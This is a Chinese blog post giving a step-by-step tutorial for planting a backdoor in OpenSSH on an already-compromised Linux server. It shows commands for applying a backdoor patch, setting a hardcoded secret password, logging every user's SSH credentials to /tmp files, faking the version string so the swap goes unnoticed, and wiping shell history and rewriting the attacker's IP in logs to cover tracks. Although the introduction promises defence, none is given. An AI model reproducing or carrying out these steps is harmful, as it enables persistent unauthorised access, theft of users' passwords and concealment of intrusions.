利用Openssh后门 劫持root密码

Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,

可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,

达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测

那么怎么给添加OpenSSH后门以及防范后门呢

安装依赖包

[root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel 

 

准备安装包

[root@DaMoWang ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
[root@DaMoWang ~]# ls /opt/
openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
# openssh-5.9p1.patch 是补丁文件

解压

[root@DaMoWang ~]# cd /opt/
[root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz 
[root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz 
[root@DaMoWang opt]# ls
openssh-5.9p1  openssh-5.9p1.patch  openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz

给openssh打补丁

[root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
[root@DaMoWang opt]# which patch
/usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)
[root@DaMoWang opt]# yum install patch
[root@DaMoWang opt]# cd /opt/openssh-5.9p1
[root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff   # 打补丁就是修改替换原文件
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.h

添加后门密码

[root@DaMoWang openssh-5.9p1]# vim includes.h 
# 跳转到配置文件末尾处 , 修改默认配置
#define ILOG "/tmp/ilog"    # 记录远程登录本机的用户和密码
#define OLOG "/tmp/olog"    # 记录本机远程登录到其他主机的用户和密码
#define SECRETPW "apaajaboleh"    # 后门密码

修改版本号

[root@DaMoWang openssh-5.9p1]# vim version.h 
# 修改为当前OpenSSH的版本号
#define SSH_VERSION     "OpenSSH_5.3"

#define SSH_PORTABLE    "p1"

编译安装

[root@DaMoWang openssh-5.9p1]# ./configure --prefix=/usr \
 --sysconfdir=/etc/ssh \
 --with-pam \
 --with-kerberos5 \
 && make && make install

 

可以看出来 安装的时候 , 已经把原有的ssh的所有命令全部替换 , 但是原有的配置文件并没有被替换 , 这样不容易被发现

重启ssh服务 测试一下

[root@DaMoWang openssh-5.9p1]# service sshd restart
停止 sshd:                                                [确定]
正在启动 sshd:                                            [确定]
[root@DaMoWang openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

服务正常启动 , 版本也与原版本一致

测试是否能劫持用户密码

首先测试远程登录本机

现在并没有生成文件

用xshell远程连接一下

 

 用户名和密码被劫持 , 不仅仅是root用户  , 所有远程连接本机的用户都会被记录 

测试后面密码能否登录本机

为了看到效果 使用明文密码登录

连接以后 别留下脚印

[root@DaMoWang ~]# export HISTFILE=/dev/null
[root@DaMoWang ~]# export HISTSIZE=0
[root@DaMoWang ~]# export HISTFILESIZE=0
[root@DaMoWang ~]# echo >/root/.bash_history # 这个是历史命令的终极文件 不能删除 , 如果原来有内容 , 不能清除 可以是用sed替换
[root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history
# 其他访问日志也可以用用sed替换ip , 瞒天过海

 

posted @ 2018-08-25 21:21  damowang~  阅读(1903)  评论(0编辑  收藏